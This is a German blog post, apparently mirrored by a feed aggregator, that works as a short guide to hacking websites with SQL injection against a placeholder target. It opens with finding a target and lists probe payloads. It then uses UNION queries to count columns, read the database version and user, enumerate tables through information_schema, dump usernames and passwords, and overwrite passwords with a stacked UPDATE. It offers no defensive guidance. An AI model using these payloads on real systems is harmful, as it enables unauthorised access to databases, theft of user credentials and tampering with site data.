Quantcast
Channel: MySQL – Marcel Schmidt Wiki / Neuigkeiten
Viewing all articles
Browse latest Browse all 10

SQL Injection (Webseiten Hacken Kurzanleitung)

$
0
0

Schritt 1 – Ziel suchen:

Suche Eingabefeld oder Get-URL (Bsp: http://xxx.de/schiffe.php?Schiff=1)

Schritt 2 – SQL Injection prüfen:

an die URL folgendes anhängen:

Versuch 1:

1
2
http://xxx.de/schiffe.php?Schiff=1'                  
### Auf eventuelle Fehlerausgabe achten

Versuch 2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
http://xxx.de/schiffe.php?Schiff=1' or 1=1 --   
http://xxx.de/schiffe.php?Schiff=1'%20or%201=1%20--  
 
Varianten:
http://xxx.de/schiffe.php?Schiff=1'+or+1=1+--  
http://xxx.de/schiffe.php?Schiff=1'+and+1=1+--
http://xxx.de/schiffe.php?Schiff=1'+and+'1'='1
### Browser Anzeige (%20 = Leerzeichen oder +)

# oder, hier muss man etwas testen und die Veränderung der Seite beobachten
http://xxx.de/schiffe.php?Schiff=1' or 1=1'
 
/*
and 1=1
'and 1=1
"and 1=1
and 1=1–
'and 1=1–
"and 1=1–
and 1=1#
'and 1=1#
"and
1=1#
and 1=1/*
'and 1=1/*
"and 1=1/*
and 1=1;%00
'and 1=1;%00
"and 1=1;%00
'and'
'and
'and'–
'and–
and a=a
'and a=a
"and a=a
and a=a–
'and a=a –
"and a=a–
and 'a'='a'
'and 'a'='a'
"and 'a'='a'
')and('a'='a'
")"a"="a"
')'a'='a
'and"='
*/

Ergebnis:
Erscheint eventuell eine Fehlermeldung von MySQL ist ein SQL Injection möglich, die Fehleranzeige kann aber auch deaktiviert sein und wir müssen auf die Ausgabe im Browser achten.
Wir haben nun die Bedingung 1=1 abgehangen (1=1 ist immer wahr), wird die Seite korrekt dargestellt, schreiben wir 1=1 in 1=0 um. Erscheint nun keine Seite mehr ist auch eine SQL Injection möglich.

In meinem Beispiel habe ich keine Veränderung feststellen können, also teste ich weiter:

Versuch 3:

1
2
http://xxx.de/schiffe.php?Schiff=1" or 1=1 --  
### bei mir auch kein Erfolg

# — die Trennstriche sollen den Rest einen Statments auskommentieren, manchmal muss nach dem — ein Leerzeichen (%20) abgehangen werden
# mit ‚ oder “ versuchen man den String in einem SQL-Statment zu beenden
# da wir eine Zahl an das SQL-Statment übergeben, benötigen wir kein Hochkomma:

Versuch 4:

1
2
http://xxx.de/schiffe.php?Schiff=1 or 1=1 -- 
### dieser Aufruf funktioniert bei mir, ich erhalte bei 1=1 eine Ausgabe, bei 0=1 keine

Schritt 3 – Informationen zur Datenbank ermitteln

Wir wissen nun das SQL Injection möglich ist und versuchen ein paar Informationen zur DB zu bekommen.
Mit dem Schlüsselwort ‚union‘ können zwei beliebige Abfragen miteinander verbunden werden:

1
http://xxx.de/schiffe.php?Schiff=1 union select 1 --

Miest erhält man nun eine Fehlermeldung oder eine Fehldarstellung der Seite, da unsere Abfrage genauso viele Spalten enthalten muss wie die eigentliche Abfrage (die wir nicht kennen) müssen wir immer eine Spalte hinzufügen bis die Seite korrekt dargestellt wird und unsere Werte (1 2 3 …) enthält.

1
2
3
4
5
6
7
http://xxx.de/schiffe.php?Schiff=1 union select 1,2 --
http://xxx.de/schiffe.php?Schiff=1 union select 1,2,3 --
http://xxx.de/schiffe.php?Schiff=1 union select 1,2,3,4 --
http://xxx.de/schiffe.php?Schiff=1 union select 1,2,3,4,5 --
http://xxx.de/schiffe.php?Schiff=1 union select 1,2,3,4,5,6 --
http://xxx.de/schiffe.php?Schiff=1 union select 1,2,3,4,5,6,7 -- 
# Funktionierte bei mir

Nun sehen wir die eigentliche Webseite, nur das diese mit unseren Zahlen befüllt ist und wir können ein paar Informationen auslesen. In meinem Beispiel sehe ich die Zahl 3 und somit nutze ich diese um mir die SQL-Version ausgeben zu lassen:

1
http://xxx.de/schiffe.php?Schiff=1 union select 1,2,'TESTTEXT',4,5,6,7 --
1
2
http://xxx.de/schiffe.php?Schiff=1 union select 1,2,version(),4,5,6,7 -- 
# Gibt die SQL-Version aus
1
2
http://xxx.de/schiffe.php?Schiff=1 union select 1,2,system_user(),4,5,6,7 -- 
# Gibt die aktiven DB-User aus

Schritt 4 – Struktur der Datenbank

Ab MySQL 5 Versionen können wir „information_schema“ verwenden um uns ein Überblick zur DB-Stuktur zu verschaffen.

1
2
3
4
5
6
7
8
9
10
11
12
Test 1: union+select+1,2,3,4,5,6,7+from+information_schema.columns
Test 2: union+select+1,2,(select+column_name+from+information_schema.columns+limit+1),4,5,6,7
 
http://xxx.de/schiffe.php?Schiff=1 union select 1,2,concat(table_schema,0x3a,table_name,0x3a,column_name),4,5,6,7+from+information_schema.columns+limit+179,1%20 -- 
# Über Veränderung der limit id (60,61,62,179,180..) bekommen wir nach und nach alle Tabellen und deren Felder ausgegeben, so können wir uns die genaue Struktur der DB auslesen
# 0x3a ist ein Doppelpunkt, über hexadecimal können also Zeichen übergeben werden

http://xxx.de/schiffe.php?Schiff=1 union select 1,2,concat(table_schema,0x3a,table_name,0x3a,column_name),4,5,6,7+from+information_schema.columns+where+table_name='kunden'+limit+1,1%20 --
# mit where kann man hier eventuell schneller ans Ziel kommen

http://xxx.de/schiffe.php?Schiff=1 union select 1,2,concat(table_schema,0x3a,table_name,0x3a,column_name),4,5,6,7+from+information_schema.columns%20 --
# Eventuell werden ohne Limit auch alle Daten ausgegeben, dies ist von der programmierten Filterung abhängig

Schritt 5 – Struktur nutzen um gezielt Daten auszulesen

Wir gehen davon aus, es gäbe eine Tabelle „tab_user“ mit den folgenden Feldern „id,username,pwd,nickname,email“.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
http://xxx.de/schiffe.php?Schiff=1 union select 1,2,3,4,5,6,7 -- 
# dies war unser Ausgang

http://xxx.de/schiffe.php?Schiff=1 union select 1,username,3,4,5,6,7 from tab_user -- 
# so lesen wir alle usernamen aus der DB aus

http://xxx.de/schiffe.php?Schiff=1 union select 1,username,3,4,5,6,7 from tab_user limit 1,1 --
 # wird die Abfrage gefiltert, kann man mit Limit alle Datensätze einzeln ausgeben

http://xxx.de/schiffe.php?Schiff=1 union select 1,concat(username,' ',pwd),3,4,5,6,7 from tab_user limit 1,1 --
# so können die User und die Passwörter ausgelesen werden

http://xxx.de/schiffe.php?Schiff=1 union select 1,concat(username,' ',pwd),3,4,5,6,7 from tab_user limit 1,1; update tab_user set password='xxx' where username = 'xxx' --
# update, insert...

Wie man sieht, kann man dadurch alle Daten des Systems erhalten und mit ein paar weiteren Befehlen auch verändern.


Viewing all articles
Browse latest Browse all 10